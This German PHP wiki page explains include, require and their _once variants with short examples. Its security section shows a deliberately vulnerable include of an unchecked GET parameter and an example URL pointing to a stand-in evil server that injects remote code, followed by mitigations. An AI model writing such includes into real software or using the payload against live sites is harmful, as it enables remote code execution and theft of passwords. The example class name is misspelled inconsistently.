include

Aus php bar

(Weitergeleitet von require)
Wechseln zu: Navigation, Suche

Mit include ist es möglich, eine andere Datei in ein Script einzubinden. Das PHP-Script lädt die angegebene Datei und führt die Befehle darin aus. Es wird kein neuer Prozess oder Thread gestartet, PHP behandelt die Datei so, als stände der Inhalt dieser Datei im aktuellen Script. Somit kann man alle Variablen, Konstanten, Funktionen und Klassen in der neuen Datei weiterbenutzen. Somit kann man diverse Teile eines Scripts in mehrere Dateien auslagern und diese Dateien mit include() laden.

Inhaltsverzeichnis

Varianten

include

Dieser Sprachkonstrukt lädt die angegebene Datei in das aktuelle Script und führt die Befehle darin aus. Wenn die Datei nicht geladen werden konnte, weil sie z.B. nicht existiert, erscheint eine Warning-Fehlermeldung.

1 include '/home/sutermar/public_htm/sradcontrol/web.php';


require

require funktioniert fast wie include. Jedoch erzeugt require eine Fatal Error-Fehlermeldung und bricht das Script entsprechend sofort ab, wenn die Datei nicht geladen werden konnte.

1 require 'pfad/skript.php';


include_once

Bei include_once merkt sich PHP, dass er die angegebene Datei geladen hat. Bei einen erneuten Aufrufen der angegebenen Datei wird diese nicht ausgeführt. Dies hat den Vorteil, dass man nicht aus Versehen zweimal eine Klassendeklaration lädt.

1 include_once 'pfad/skript.php';


require_once

Wie include_once und require.

1 require_once 'pfad/skript.php';


Beispiele

Klasse

 <?php
 /**
  * Klasse
  */
 class MeineKlassse
 {
     function delete() { ... }
     function edit() { ... }
 }
10 ?>


edit_objekt.php

1 <?php
2 require_once 'MeineKlasse.class.php';
3 
4 ...
5 MeineKlasse::edit();
6 ...
7 ?>


delete_objekt.php

1 <?php
2 require_once 'MeineKlasse.class.php';
3 
4 ...
5 MeineKlasse::delete();
6 ...
7 ?>


Sicherheit

Wenn die Einstellung allow_url_fopen aktiviert ist, ist es auch möglich, eine externe Seite in das eigene Script einzubinden. Bei schlechter Programmierung kann dies zu Sicherheitsrisiken im eigenen Script führen, insbesondere wenn include über GET-Parameter gesteuert wird:

1 include $_GET['section'];


Bei datei.php?section=news passiert nichts schlimmes und ist ggf. auch gewollt. Bei datei.php?section=http://www.evil-server.net/evil_code hingegen kann ein Besucher der Seite fremden Quellcode in das Script einschleusen, die dann alles mögliche machen können, wie Passwörter auslesen oder Daten verarbeiten/löschen.

Um dieses Risiko zu beheben, sollte man allow_url_fopen deaktivieren und/oder ein Array-Include verwenden.

Persönliche Werkzeuge